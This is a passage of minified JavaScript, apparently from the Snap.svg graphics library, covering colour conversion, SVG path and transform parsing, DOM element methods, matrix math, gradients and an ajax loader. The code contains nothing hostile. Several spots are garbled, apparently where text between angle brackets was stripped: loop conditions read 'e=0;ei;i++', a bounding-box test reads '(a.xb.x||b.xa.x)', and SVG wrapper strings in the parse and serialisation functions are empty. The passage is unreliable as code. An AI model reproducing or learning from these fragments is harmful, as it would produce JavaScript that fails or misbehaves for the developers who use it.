a)?(b=c.rgb2hsl(a),a.h=b.h,a.s=b.s,a.l=b.l,b=c.rgb2hsb(a),a.v=b.b):(a={hex:"none"},a.r=a.g=a.b=a.h=a.s=a.v=a.l=-1,a.error=1)),a.toString=Z,a},c.hsb2rgb=function(a,b,c,d){e(a,"object")&&"h"in a&&"s"in a&&"b"in a&&(c=a.b,b=a.s,d=a.o,a=a.h),a*=360;var f,g,h,i,j;return a=a%360/60,j=c*b,i=j*(1-G(a%2-1)),f=g=h=c-j,a=~~a,f+=[j,i,0,0,i,j][a],g+=[i,j,j,i,0,0][a],h+=[0,0,i,j,j,i][a],_(f,g,h,d)},c.hsl2rgb=function(a,b,c,d){e(a,"object")&&"h"in a&&"s"in a&&"l"in a&&(c=a.l,b=a.s,a=a.h),(a>1||b>1||c>1)&&(a/=360,b/=100,c/=100),a*=360;var f,g,h,i,j;return a=a%360/60,j=2*b*(.5>c?c:1-c),i=j*(1-G(a%2-1)),f=g=h=c-j/2,a=~~a,f+=[j,i,0,0,i,j][a],g+=[i,j,j,i,0,0][a],h+=[0,0,i,j,j,i][a],_(f,g,h,d)},c.rgb2hsb=function(a,b,c){c=$(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g;return f=E(a,b,c),g=f-F(a,b,c),d=0==g?null:f==a?(b-c)/g:f==b?(c-a)/g+2:(a-b)/g+4,d=(d+360)%6*60/360,e=0==g?0:g/f,{h:d,s:e,b:f,toString:X}},c.rgb2hsl=function(a,b,c){c=$(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g,h,i;return g=E(a,b,c),h=F(a,b,c),i=g-h,d=0==i?null:g==a?(b-c)/i:g==b?(c-a)/i+2:(a-b)/i+4,d=(d+360)%6*60/360,f=(g+h)/2,e=0==i?0:.5>f?i/(2*f):i/(2-2*f),{h:d,s:e,l:f,toString:Y}},c.parsePathString=function(a){if(!a)return null;var b=c.path(a);if(b.arr)return c.path.clone(b.arr);var d={a:7,c:6,o:2,h:1,l:2,m:2,r:4,q:4,s:4,t:2,v:1,u:3,z:0},f=[];return e(a,"array")&&e(a[0],"array")&&(f=c.path.clone(a)),f.length||A(a).replace(N,function(a,b,c){var e=[],g=b.toLowerCase();if(c.replace(P,function(a,b){b&&e.push(+b)}),"m"==g&&e.length>2&&(f.push([b].concat(e.splice(0,2))),g="l",b="m"==b?"l":"L"),"o"==g&&1==e.length&&f.push([b,e[0]]),"r"==g)f.push([b].concat(e));else for(;e.length>=d[g]&&(f.push([b].concat(e.splice(0,d[g]))),d[g]););}),f.toString=c.path.toString,b.arr=c.path.clone(f),f};var ab=c.parseTransformString=function(a){if(!a)return null;var b=[];return e(a,"array")&&e(a[0],"array")&&(b=c.path.clone(a)),b.length||A(a).replace(O,function(a,c,d){{var e=[];c.toLowerCase()}d.replace(P,function(a,b){b&&e.push(+b)}),b.push([c].concat(e))}),b.toString=c.path.toString,b};c._.svgTransform2string=m,c._.rgTransform=/^[a-z][\s]*-?\.?\d/i,c._.transform2matrix=n,c._unit2px=q;y.doc.contains||y.doc.compareDocumentPosition?function(a,b){var c=9==a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a==d||!(!d||1!=d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)for(;b;)if(b=b.parentNode,b==a)return!0;return!1};c._.getSomeDefs=o,c._.getSomeSVG=p,c.select=function(a){return a=A(a).replace(/([^\\]):/g,"$1\\:"),w(y.doc.querySelector(a))},c.selectAll=function(a){for(var b=y.doc.querySelectorAll(a),d=(c.set||Array)(),e=0;ei;i++)h[g[i].nodeName]=g[i].nodeValue;return h}if(e(a,"string")){if(!(arguments.length>1))return b("snap.util.getattr."+a,d).firstDefined();var k={};k[a]=c,a=k}for(var l in a)a[z](l)&&b("snap.util.attr."+l,d,a[l]);return d},c.parse=function(a){var b=y.doc.createDocumentFragment(),c=!0,d=y.doc.createElement("div");if(a=A(a),a.match(/^\s*<\s*svg(?:\s|>)/)||(a=""+a+"",c=!1),d.innerHTML=a,a=d.getElementsByTagName("svg")[0])if(c)b=a;else for(;a.firstChild;)b.appendChild(a.firstChild);return new t(b)},c.fragment=function(){for(var a=Array.prototype.slice.call(arguments,0),b=y.doc.createDocumentFragment(),d=0,e=a.length;e>d;d++){var f=a[d];f.node&&f.node.nodeType&&b.appendChild(f.node),f.nodeType&&b.appendChild(f),"string"==typeof f&&b.appendChild(c.parse(f).node)}return new t(b)},c._.make=u,c._.wrap=w,v.prototype.el=function(a,b){var c=u(a,this.node);return b&&c.attr(b),c},s.prototype.children=function(){for(var a=[],b=this.node.childNodes,d=0,e=b.length;e>d;d++)a[d]=c(b[d]);return a},s.prototype.toJSON=function(){var a=[];return x([this],a),a[0]},b.on("snap.util.getattr",function(){var a=b.nt();a=a.substring(a.lastIndexOf(".")+1);var c=a.replace(/[A-Z]/g,function(a){return"-"+a.toLowerCase()});return bb[z](c)?this.node.ownerDocument.defaultView.getComputedStyle(this.node,null).getPropertyValue(c):d(this.node,a)});var bb={"alignment-baseline":0,"baseline-shift":0,clip:0,"clip-path":0,"clip-rule":0,color:0,"color-interpolation":0,"color-interpolation-filters":0,"color-profile":0,"color-rendering":0,cursor:0,direction:0,display:0,"dominant-baseline":0,"enable-background":0,fill:0,"fill-opacity":0,"fill-rule":0,filter:0,"flood-color":0,"flood-opacity":0,font:0,"font-family":0,"font-size":0,"font-size-adjust":0,"font-stretch":0,"font-style":0,"font-variant":0,"font-weight":0,"glyph-orientation-horizontal":0,"glyph-orientation-vertical":0,"image-rendering":0,kerning:0,"letter-spacing":0,"lighting-color":0,marker:0,"marker-end":0,"marker-mid":0,"marker-start":0,mask:0,opacity:0,overflow:0,"pointer-events":0,"shape-rendering":0,"stop-color":0,"stop-opacity":0,stroke:0,"stroke-dasharray":0,"stroke-dashoffset":0,"stroke-linecap":0,"stroke-linejoin":0,"stroke-miterlimit":0,"stroke-opacity":0,"stroke-width":0,"text-anchor":0,"text-decoration":0,"text-rendering":0,"unicode-bidi":0,visibility:0,"word-spacing":0,"writing-mode":0};b.on("snap.util.attr",function(a){var c=b.nt(),e={};c=c.substring(c.lastIndexOf(".")+1),e[c]=a;var f=c.replace(/-(\w)/gi,function(a,b){return b.toUpperCase()}),g=c.replace(/[A-Z]/g,function(a){return"-"+a.toLowerCase()});bb[z](g)?this.node.style[f]=null==a?I:a:d(this.node,e)}),function(){}(v.prototype),c.ajax=function(a,c,d,f){var g=new XMLHttpRequest,h=S();if(g){if(e(c,"function"))f=d,d=c,c=null;else if(e(c,"object")){var i=[];for(var j in c)c.hasOwnProperty(j)&&i.push(encodeURIComponent(j)+"="+encodeURIComponent(c[j]));c=i.join("&")}return g.open(c?"POST":"GET",a,!0),c&&(g.setRequestHeader("X-Requested-With","XMLHttpRequest"),g.setRequestHeader("Content-type","application/x-www-form-urlencoded")),d&&(b.once("snap.ajax."+h+".0",d),b.once("snap.ajax."+h+".200",d),b.once("snap.ajax."+h+".304",d)),g.onreadystatechange=function(){4==g.readyState&&b("snap.ajax."+h+"."+g.status,f,g)},4==g.readyState?g:(g.send(c),g)}},c.load=function(a,b,d){c.ajax(a,function(a){var e=c.parse(a.responseText);d?b.call(d,e):b(e)})};var cb=function(a){var b=a.getBoundingClientRect(),c=a.ownerDocument,d=c.body,e=c.documentElement,f=e.clientTop||d.clientTop||0,h=e.clientLeft||d.clientLeft||0,i=b.top+(g.win.pageYOffset||e.scrollTop||d.scrollTop)-f,j=b.left+(g.win.pageXOffset||e.scrollLeft||d.scrollLeft)-h;return{y:i,x:j}};return c.getElementByPoint=function(a,b){var c=this,d=(c.canvas,y.doc.elementFromPoint(a,b));if(y.win.opera&&"svg"==d.tagName){var e=cb(d),f=d.createSVGRect();f.x=a-e.x,f.y=b-e.y,f.width=f.height=1;var g=d.getIntersectionList(f,null);g.length&&(d=g[g.length-1])}return d?w(d):null},c.plugin=function(a){a(c,s,v,y,t)},y.win.Snap=c,c}(a||this);return d.plugin(function(d,e,f,g,h){function i(a,b){if(null==b){var c=!0;if(b=a.node.getAttribute("linearGradient"==a.type||"radialGradient"==a.type?"gradientTransform":"pattern"==a.type?"patternTransform":"transform"),!b)return new d.Matrix;b=d._.svgTransform2string(b)}else b=d._.rgTransform.test(b)?o(b).replace(/\.{3}|\u2026/g,a._.transform||""):d._.svgTransform2string(b),n(b,"array")&&(b=d.path?d.path.toString.call(b):o(b)),a._.transform=b;var e=d._.transform2matrix(b,a.getBBox(1));return c?e:void(a.matrix=e)}function j(a){function b(a,b){var c=q(a.node,b);c=c&&c.match(f),c=c&&c[2],c&&"#"==c.charAt()&&(c=c.substring(1),c&&(h[c]=(h[c]||[]).concat(function(c){var d={};d[b]=URL(c),q(a.node,d)})))}function c(a){var b=q(a.node,"xlink:href");b&&"#"==b.charAt()&&(b=b.substring(1),b&&(h[b]=(h[b]||[]).concat(function(b){a.attr("xlink:href","#"+b)})))}for(var d,e=a.selectAll("*"),f=/^\s*url\(("|'|)(.*)\1\)\s*$/,g=[],h={},i=0,j=e.length;j>i;i++){d=e[i],b(d,"fill"),b(d,"stroke"),b(d,"filter"),b(d,"mask"),b(d,"clip-path"),c(d);var k=q(d.node,"id");k&&(q(d.node,{id:d.id}),g.push({old:k,id:d.id}))}for(i=0,j=g.length;j>i;i++){var l=h[g[i].old];if(l)for(var m=0,n=l.length;n>m;m++)l[m](g[i].id)}}function k(a,b,c){return function(d){var e=d.slice(a,b);return 1==e.length&&(e=e[0]),c?c(e):e}}function l(a){return function(){var b=a?"<"+this.type:"",c=this.node.attributes,d=this.node.childNodes;if(a)for(var e=0,f=c.length;f>e;e++)b+=" "+c[e].name+'="'+c[e].value.replace(/"/g,'\\"')+'"';if(d.length){for(a&&(b+=">"),e=0,f=d.length;f>e;e++)3==d[e].nodeType?b+=d[e].nodeValue:1==d[e].nodeType&&(b+=u(d[e]).toString());a&&(b+="")}else a&&(b+="/>");return b}}var m=e.prototype,n=d.is,o=String,p=d._unit2px,q=d._.$,r=d._.make,s=d._.getSomeDefs,t="hasOwnProperty",u=d._.wrap;m.getBBox=function(a){if(!d.Matrix||!d.path)return this.node.getBBox();var b=this,c=new d.Matrix;if(b.removed)return d._.box();for(;"use"==b.type;)if(a||(c=c.add(b.transform().localMatrix.translate(b.attr("x")||0,b.attr("y")||0))),b.original)b=b.original;else{var e=b.attr("xlink:href");b=b.original=b.node.ownerDocument.getElementById(e.substring(e.indexOf("#")+1))}var f=b._,g=d.path.get[b.type]||d.path.get.deflt;try{return a?(f.bboxwt=g?d.path.getBBox(b.realPath=g(b)):d._.box(b.node.getBBox()),d._.box(f.bboxwt)):(b.realPath=g(b),b.matrix=b.transform().localMatrix,f.bbox=d.path.getBBox(d.path.map(b.realPath,c.add(b.matrix))),d._.box(f.bbox))}catch(h){return d._.box()}};var v=function(){return this.string};m.transform=function(a){var b=this._;if(null==a){for(var c,e=this,f=new d.Matrix(this.node.getCTM()),g=i(this),h=[g],j=new d.Matrix,k=g.toTransformString(),l=o(g)==o(this.matrix)?o(b.transform):k;"svg"!=e.type&&(e=e.parent());)h.push(i(e));for(c=h.length;c--;)j.add(h[c]);return{string:l,globalMatrix:f,totalMatrix:j,localMatrix:g,diffMatrix:f.clone().add(g.invert()),global:f.toTransformString(),total:j.toTransformString(),local:k,toString:v}}return a instanceof d.Matrix?(this.matrix=a,this._.transform=a.toTransformString()):i(this,a),this.node&&("linearGradient"==this.type||"radialGradient"==this.type?q(this.node,{gradientTransform:this.matrix}):"pattern"==this.type?q(this.node,{patternTransform:this.matrix}):q(this.node,{transform:this.matrix})),this},m.parent=function(){return u(this.node.parentNode)},m.append=m.add=function(a){if(a){if("set"==a.type){var b=this;return a.forEach(function(a){b.add(a)}),this}a=u(a),this.node.appendChild(a.node),a.paper=this.paper}return this},m.appendTo=function(a){return a&&(a=u(a),a.append(this)),this},m.prepend=function(a){if(a){if("set"==a.type){var b,c=this;return a.forEach(function(a){b?b.after(a):c.prepend(a),b=a}),this}a=u(a);var d=a.parent();this.node.insertBefore(a.node,this.node.firstChild),this.add&&this.add(),a.paper=this.paper,this.parent()&&this.parent().add(),d&&d.add()}return this},m.prependTo=function(a){return a=u(a),a.prepend(this),this},m.before=function(a){if("set"==a.type){var b=this;return a.forEach(function(a){var c=a.parent();b.node.parentNode.insertBefore(a.node,b.node),c&&c.add()}),this.parent().add(),this}a=u(a);var c=a.parent();return this.node.parentNode.insertBefore(a.node,this.node),this.parent()&&this.parent().add(),c&&c.add(),a.paper=this.paper,this},m.after=function(a){a=u(a);var b=a.parent();return this.node.nextSibling?this.node.parentNode.insertBefore(a.node,this.node.nextSibling):this.node.parentNode.appendChild(a.node),this.parent()&&this.parent().add(),b&&b.add(),a.paper=this.paper,this},m.insertBefore=function(a){a=u(a);var b=this.parent();return a.node.parentNode.insertBefore(this.node,a.node),this.paper=a.paper,b&&b.add(),a.parent()&&a.parent().add(),this},m.insertAfter=function(a){a=u(a);var b=this.parent();return a.node.parentNode.insertBefore(this.node,a.node.nextSibling),this.paper=a.paper,b&&b.add(),a.parent()&&a.parent().add(),this},m.remove=function(){var a=this.parent();return this.node.parentNode&&this.node.parentNode.removeChild(this.node),delete this.paper,this.removed=!0,a&&a.add(),this},m.select=function(a){return u(this.node.querySelector(a))},m.selectAll=function(a){for(var b=this.node.querySelectorAll(a),c=(d.set||Array)(),e=0;eb;b++)a[b].stop();return this},m.animate=function(a,d,e,f){"function"!=typeof e||e.length||(f=e,e=c.linear),a instanceof w&&(f=a.callback,e=a.easing,d=a.dur,a=a.attr);var g,h,i,j,l=[],m=[],p={},q=this;for(var r in a)if(a[t](r)){q.equal?(j=q.equal(r,o(a[r])),g=j.from,h=j.to,i=j.f):(g=+q.attr(r),h=+a[r]);var s=n(g,"array")?g.length:1;p[r]=k(l.length,l.length+s,i),l=l.concat(g),m=m.concat(h)}var u=c.time(),v=c(l,m,u,u+d,c.time,function(a){var b={};for(var c in p)p[t](c)&&(b[c]=p[c](a));q.attr(b)},e);return q.anims[v.id]=v,v._attrs=a,v._callback=f,b("snap.animcreated."+q.id,v),b.once("mina.finish."+v.id,function(){delete q.anims[v.id],f&&f.call(q)}),b.once("mina.stop."+v.id,function(){delete q.anims[v.id]}),q};var x={};m.data=function(a,c){var e=x[this.id]=x[this.id]||{};if(0==arguments.length)return b("snap.data.get."+this.id,this,e,null),e; if(1==arguments.length){if(d.is(a,"object")){for(var f in a)a[t](f)&&this.data(f,a[f]);return this}return b("snap.data.get."+this.id,this,e[a],a),e[a]}return e[a]=c,b("snap.data.set."+this.id,this,c,a),this},m.removeData=function(a){return null==a?x[this.id]={}:x[this.id]&&delete x[this.id][a],this},m.outerSVG=m.toString=l(1),m.innerSVG=l(),m.toDataURL=function(){if(a&&a.btoa){var b=this.getBBox(),c=d.format('{contents}',{x:+b.x.toFixed(3),y:+b.y.toFixed(3),width:+b.width.toFixed(3),height:+b.height.toFixed(3),contents:this.outerSVG()});return"data:image/svg+xml;base64,"+btoa(unescape(encodeURIComponent(c)))}},h.prototype.select=m.select,h.prototype.selectAll=m.selectAll}),d.plugin(function(a){function b(a,b,d,e,f,g){return null==b&&"[object SVGMatrix]"==c.call(a)?(this.a=a.a,this.b=a.b,this.c=a.c,this.d=a.d,this.e=a.e,void(this.f=a.f)):void(null!=a?(this.a=+a,this.b=+b,this.c=+d,this.d=+e,this.e=+f,this.f=+g):(this.a=1,this.b=0,this.c=0,this.d=1,this.e=0,this.f=0))}var c=Object.prototype.toString,d=String,e=Math,f="";!function(c){function g(a){return a[0]*a[0]+a[1]*a[1]}function h(a){var b=e.sqrt(g(a));a[0]&&(a[0]/=b),a[1]&&(a[1]/=b)}c.add=function(a,c,d,e,f,g){var h,i,j,k,l=[[],[],[]],m=[[this.a,this.c,this.e],[this.b,this.d,this.f],[0,0,1]],n=[[a,d,f],[c,e,g],[0,0,1]];for(a&&a instanceof b&&(n=[[a.a,a.c,a.e],[a.b,a.d,a.f],[0,0,1]]),h=0;3>h;h++)for(i=0;3>i;i++){for(k=0,j=0;3>j;j++)k+=m[h][j]*n[j][i];l[h][i]=k}return this.a=l[0][0],this.b=l[1][0],this.c=l[0][1],this.d=l[1][1],this.e=l[0][2],this.f=l[1][2],this},c.invert=function(){var a=this,c=a.a*a.d-a.b*a.c;return new b(a.d/c,-a.b/c,-a.c/c,a.a/c,(a.c*a.f-a.d*a.e)/c,(a.b*a.e-a.a*a.f)/c)},c.clone=function(){return new b(this.a,this.b,this.c,this.d,this.e,this.f)},c.translate=function(a,b){return this.add(1,0,0,1,a,b)},c.scale=function(a,b,c,d){return null==b&&(b=a),(c||d)&&this.add(1,0,0,1,c,d),this.add(a,0,0,b,0,0),(c||d)&&this.add(1,0,0,1,-c,-d),this},c.rotate=function(b,c,d){b=a.rad(b),c=c||0,d=d||0;var f=+e.cos(b).toFixed(9),g=+e.sin(b).toFixed(9);return this.add(f,g,-g,f,c,d),this.add(1,0,0,1,-c,-d)},c.x=function(a,b){return a*this.a+b*this.c+this.e},c.y=function(a,b){return a*this.b+b*this.d+this.f},c.get=function(a){return+this[d.fromCharCode(97+a)].toFixed(4)},c.toString=function(){return"matrix("+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)].join()+")"},c.offset=function(){return[this.e.toFixed(4),this.f.toFixed(4)]},c.determinant=function(){return this.a*this.d-this.b*this.c},c.split=function(){var b={};b.dx=this.e,b.dy=this.f;var c=[[this.a,this.c],[this.b,this.d]];b.scalex=e.sqrt(g(c[0])),h(c[0]),b.shear=c[0][0]*c[1][0]+c[0][1]*c[1][1],c[1]=[c[1][0]-c[0][0]*b.shear,c[1][1]-c[0][1]*b.shear],b.scaley=e.sqrt(g(c[1])),h(c[1]),b.shear/=b.scaley,this.determinant()<0&&(b.scalex=-b.scalex);var d=-c[0][1],f=c[1][1];return 0>f?(b.rotate=a.deg(e.acos(f)),0>d&&(b.rotate=360-b.rotate)):b.rotate=a.deg(e.asin(d)),b.isSimple=!(+b.shear.toFixed(9)||b.scalex.toFixed(9)!=b.scaley.toFixed(9)&&b.rotate),b.isSuperSimple=!+b.shear.toFixed(9)&&b.scalex.toFixed(9)==b.scaley.toFixed(9)&&!b.rotate,b.noRotation=!+b.shear.toFixed(9)&&!b.rotate,b},c.toTransformString=function(a){var b=a||this.split();return+b.shear.toFixed(9)?"m"+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)]:(b.scalex=+b.scalex.toFixed(4),b.scaley=+b.scaley.toFixed(4),b.rotate=+b.rotate.toFixed(4),(b.dx||b.dy?"t"+[+b.dx.toFixed(4),+b.dy.toFixed(4)]:f)+(1!=b.scalex||1!=b.scaley?"s"+[b.scalex,b.scaley,0,0]:f)+(b.rotate?"r"+[+b.rotate.toFixed(4),0,0]:f))}}(b.prototype),a.Matrix=b,a.matrix=function(a,c,d,e,f,g){return new b(a,c,d,e,f,g)}}),d.plugin(function(a,c,d,e,f){function g(d){return function(e){if(b.stop(),e instanceof f&&1==e.node.childNodes.length&&("radialGradient"==e.node.firstChild.tagName||"linearGradient"==e.node.firstChild.tagName||"pattern"==e.node.firstChild.tagName)&&(e=e.node.firstChild,n(this).appendChild(e),e=l(e)),e instanceof c)if("radialGradient"==e.type||"linearGradient"==e.type||"pattern"==e.type){e.node.id||p(e.node,{id:e.id});var g=q(e.node.id)}else g=e.attr(d);else if(g=a.color(e),g.error){var h=a(n(this).ownerSVGElement).gradient(e);h?(h.node.id||p(h.node,{id:h.id}),g=q(h.node.id)):g=e}else g=r(g);var i={};i[d]=g,p(this.node,i),this.node.style[d]=t}}function h(a){b.stop(),a==+a&&(a+="px"),this.node.style.fontSize=a}function i(a){for(var b=[],c=a.childNodes,d=0,e=c.length;e>d;d++){var f=c[d];3==f.nodeType&&b.push(f.nodeValue),"tspan"==f.tagName&&b.push(1==f.childNodes.length&&3==f.firstChild.nodeType?f.firstChild.nodeValue:i(f))}return b}function j(){return b.stop(),this.node.style.fontSize}var k=a._.make,l=a._.wrap,m=a.is,n=a._.getSomeDefs,o=/^url\(#?([^)]+)\)$/,p=a._.$,q=a.url,r=String,s=a._.separator,t="";b.on("snap.util.attr.mask",function(a){if(a instanceof c||a instanceof f){if(b.stop(),a instanceof f&&1==a.node.childNodes.length&&(a=a.node.firstChild,n(this).appendChild(a),a=l(a)),"mask"==a.type)var d=a;else d=k("mask",n(this)),d.node.appendChild(a.node);!d.node.id&&p(d.node,{id:d.id}),p(this.node,{mask:q(d.id)})}}),function(a){b.on("snap.util.attr.clip",a),b.on("snap.util.attr.clip-path",a),b.on("snap.util.attr.clipPath",a)}(function(a){if(a instanceof c||a instanceof f){if(b.stop(),"clipPath"==a.type)var d=a;else d=k("clipPath",n(this)),d.node.appendChild(a.node),!d.node.id&&p(d.node,{id:d.id});p(this.node,{"clip-path":q(d.node.id||d.id)})}}),b.on("snap.util.attr.fill",g("fill")),b.on("snap.util.attr.stroke",g("stroke"));var u=/^([lr])(?:\(([^)]*)\))?(.*)$/i;b.on("snap.util.grad.parse",function(a){a=r(a);var b=a.match(u);if(!b)return null;var c=b[1],d=b[2],e=b[3];return d=d.split(/\s*,\s*/).map(function(a){return+a==a?+a:a}),1==d.length&&0==d[0]&&(d=[]),e=e.split("-"),e=e.map(function(a){a=a.split(":");var b={color:a[0]};return a[1]&&(b.offset=parseFloat(a[1])),b}),{type:c,params:d,stops:e}}),b.on("snap.util.attr.d",function(c){b.stop(),m(c,"array")&&m(c[0],"array")&&(c=a.path.toString.call(c)),c=r(c),c.match(/[ruo]/i)&&(c=a.path.toAbsolute(c)),p(this.node,{d:c})})(-1),b.on("snap.util.attr.#text",function(a){b.stop(),a=r(a);for(var c=e.doc.createTextNode(a);this.node.firstChild;)this.node.removeChild(this.node.firstChild);this.node.appendChild(c)})(-1),b.on("snap.util.attr.path",function(a){b.stop(),this.attr({d:a})})(-1),b.on("snap.util.attr.class",function(a){b.stop(),this.node.className.baseVal=a})(-1),b.on("snap.util.attr.viewBox",function(a){var c;c=m(a,"object")&&"x"in a?[a.x,a.y,a.width,a.height].join(" "):m(a,"array")?a.join(" "):a,p(this.node,{viewBox:c}),b.stop()})(-1),b.on("snap.util.attr.transform",function(a){this.transform(a),b.stop()})(-1),b.on("snap.util.attr.r",function(a){"rect"==this.type&&(b.stop(),p(this.node,{rx:a,ry:a}))})(-1),b.on("snap.util.attr.textpath",function(a){if(b.stop(),"text"==this.type){var d,e,f;if(!a&&this.textPath){for(e=this.textPath;e.node.firstChild;)this.node.appendChild(e.node.firstChild);return e.remove(),void delete this.textPath}if(m(a,"string")){var g=n(this),h=l(g.parentNode).path(a);g.appendChild(h.node),d=h.id,h.attr({id:d})}else a=l(a),a instanceof c&&(d=a.attr("id"),d||(d=a.id,a.attr({id:d})));if(d)if(e=this.textPath,f=this.node,e)e.attr({"xlink:href":"#"+d});else{for(e=p("textPath",{"xlink:href":"#"+d});f.firstChild;)e.appendChild(f.firstChild);f.appendChild(e),this.textPath=l(e)}}})(-1),b.on("snap.util.attr.text",function(a){if("text"==this.type){for(var c=this.node,d=function(a){var b=p("tspan");if(m(a,"array"))for(var c=0;c1&&(a=Array.prototype.slice.call(arguments,0));var b={};return h(a,"object")&&!h(a,"array")?b=a:null!=a&&(b={points:a}),this.el("polyline",b)},g.polygon=function(a){arguments.length>1&&(a=Array.prototype.slice.call(arguments,0));var b={};return h(a,"object")&&!h(a,"array")?b=a:null!=a&&(b={points:a}),this.el("polygon",b)},function(){function d(){return this.selectAll("stop")}function e(a,b){var d=k("stop"),e={offset:+b+"%"};return a=c.color(a),e["stop-color"]=a.hex,a.opacity<1&&(e["stop-opacity"]=a.opacity),k(d,e),this.node.appendChild(d),this}function f(){if("linearGradient"==this.type){var a=k(this.node,"x1")||0,b=k(this.node,"x2")||1,d=k(this.node,"y1")||0,e=k(this.node,"y2")||0;return c._.box(a,d,math.abs(b-a),math.abs(e-d))}var f=this.node.cx||.5,g=this.node.cy||.5,h=this.node.r||0;return c._.box(f-h,g-h,2*h,2*h)}function h(a,c){function d(a,b){for(var c=(b-l)/(a-m),d=m;a>d;d++)g[d].offset=+(+l+c*(d-m)).toFixed(2);m=a,l=b}var e,f=b("snap.util.grad.parse",null,c).firstDefined();if(!f)return null;f.params.unshift(a),e="l"==f.type.toLowerCase()?i.apply(0,f.params):j.apply(0,f.params),f.type!=f.type.toLowerCase()&&k(e.node,{gradientUnits:"userSpaceOnUse"});var g=f.stops,h=g.length,l=0,m=0;h--;for(var n=0;h>n;n++)"offset"in g[n]&&d(n,g[n].offset);for(g[h].offset=g[h].offset||100,d(h,g[h].offset),n=0;h>=n;n++){var o=g[n];e.addStop(o.color,o.offset)}return e}function i(a,b,g,h,i){var j=c._.make("linearGradient",a);return j.stops=d,j.addStop=e,j.getBBox=f,null!=b&&k(j.node,{x1:b,y1:g,x2:h,y2:i}),j}function j(a,b,g,h,i,j){var l=c._.make("radialGradient",a);return l.stops=d,l.addStop=e,l.getBBox=f,null!=b&&k(l.node,{cx:b,cy:g,r:h}),null!=i&&null!=j&&k(l.node,{fx:i,fy:j}),l}var k=c._.$;g.gradient=function(a){return h(this.defs,a)},g.gradientLinear=function(a,b,c,d){return i(this.defs,a,b,c,d)},g.gradientRadial=function(a,b,c,d,e){return j(this.defs,a,b,c,d,e)},g.toString=function(){var a,b=this.node.ownerDocument,d=b.createDocumentFragment(),e=b.createElement("div"),f=this.node.cloneNode(!0);return d.appendChild(e),e.appendChild(f),c._.$(f,{xmlns:"http://www.w3.org/2000/svg"}),a=e.innerHTML,d.removeChild(d.firstChild),a},g.toDataURL=function(){return a&&a.btoa?"data:image/svg+xml;base64,"+btoa(unescape(encodeURIComponent(this))):void 0},g.clear=function(){for(var a,b=this.node.firstChild;b;)a=b.nextSibling,"defs"!=b.tagName?b.parentNode.removeChild(b):g.clear.call({node:b}),b=a}}()}),d.plugin(function(a,b){function c(a){var b=c.ps=c.ps||{};return b[a]?b[a].sleep=100:b[a]={sleep:100},setTimeout(function(){for(var c in b)b[K](c)&&c!=a&&(b[c].sleep--,!b[c].sleep&&delete b[c])}),b[a]}function d(a,b,c,d){return null==a&&(a=b=c=d=0),null==b&&(b=a.y,c=a.width,d=a.height,a=a.x),{x:a,y:b,width:c,w:c,height:d,h:d,x2:a+c,y2:b+d,cx:a+c/2,cy:b+d/2,r1:N.min(c,d)/2,r2:N.max(c,d)/2,r0:N.sqrt(c*c+d*d)/2,path:w(a,b,c,d),vb:[a,b,c,d].join(" ")}}function e(){return this.join(",").replace(L,"$1")}function f(a){var b=J(a);return b.toString=e,b}function g(a,b,c,d,e,f,g,h,j){return null==j?n(a,b,c,d,e,f,g,h):i(a,b,c,d,e,f,g,h,o(a,b,c,d,e,f,g,h,j))}function h(c,d){function e(a){return+(+a).toFixed(3)}return a._.cacher(function(a,f,h){a instanceof b&&(a=a.attr("d")),a=E(a);for(var j,k,l,m,n,o="",p={},q=0,r=0,s=a.length;s>r;r++){if(l=a[r],"M"==l[0])j=+l[1],k=+l[2];else{if(m=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6]),q+m>f){if(d&&!p.start){if(n=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6],f-q),o+=["C"+e(n.start.x),e(n.start.y),e(n.m.x),e(n.m.y),e(n.x),e(n.y)],h)return o;p.start=o,o=["M"+e(n.x),e(n.y)+"C"+e(n.n.x),e(n.n.y),e(n.end.x),e(n.end.y),e(l[5]),e(l[6])].join(),q+=m,j=+l[5],k=+l[6];continue}if(!c&&!d)return n=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6],f-q)}q+=m,j=+l[5],k=+l[6]}o+=l.shift()+l}return p.end=o,n=c?q:d?p:i(j,k,l[0],l[1],l[2],l[3],l[4],l[5],1)},null,a._.clone)}function i(a,b,c,d,e,f,g,h,i){var j=1-i,k=R(j,3),l=R(j,2),m=i*i,n=m*i,o=k*a+3*l*i*c+3*j*i*i*e+n*g,p=k*b+3*l*i*d+3*j*i*i*f+n*h,q=a+2*i*(c-a)+m*(e-2*c+a),r=b+2*i*(d-b)+m*(f-2*d+b),s=c+2*i*(e-c)+m*(g-2*e+c),t=d+2*i*(f-d)+m*(h-2*f+d),u=j*a+i*c,v=j*b+i*d,w=j*e+i*g,x=j*f+i*h,y=90-180*N.atan2(q-s,r-t)/O;return{x:o,y:p,m:{x:q,y:r},n:{x:s,y:t},start:{x:u,y:v},end:{x:w,y:x},alpha:y}}function j(b,c,e,f,g,h,i,j){a.is(b,"array")||(b=[b,c,e,f,g,h,i,j]);var k=D.apply(null,b);return d(k.min.x,k.min.y,k.max.x-k.min.x,k.max.y-k.min.y)}function k(a,b,c){return b>=a.x&&b<=a.x+a.width&&c>=a.y&&c<=a.y+a.height}function l(a,b){return a=d(a),b=d(b),k(b,a.x,a.y)||k(b,a.x2,a.y)||k(b,a.x,a.y2)||k(b,a.x2,a.y2)||k(a,b.x,b.y)||k(a,b.x2,b.y)||k(a,b.x,b.y2)||k(a,b.x2,b.y2)||(a.xb.x||b.xa.x)&&(a.yb.y||b.ya.y)}function m(a,b,c,d,e){var f=-3*b+9*c-9*d+3*e,g=a*f+6*b-12*c+6*d;return a*g-3*b+3*c}function n(a,b,c,d,e,f,g,h,i){null==i&&(i=1),i=i>1?1:0>i?0:i;for(var j=i/2,k=12,l=[-.1252,.1252,-.3678,.3678,-.5873,.5873,-.7699,.7699,-.9041,.9041,-.9816,.9816],n=[.2491,.2491,.2335,.2335,.2032,.2032,.1601,.1601,.1069,.1069,.0472,.0472],o=0,p=0;k>p;p++){var 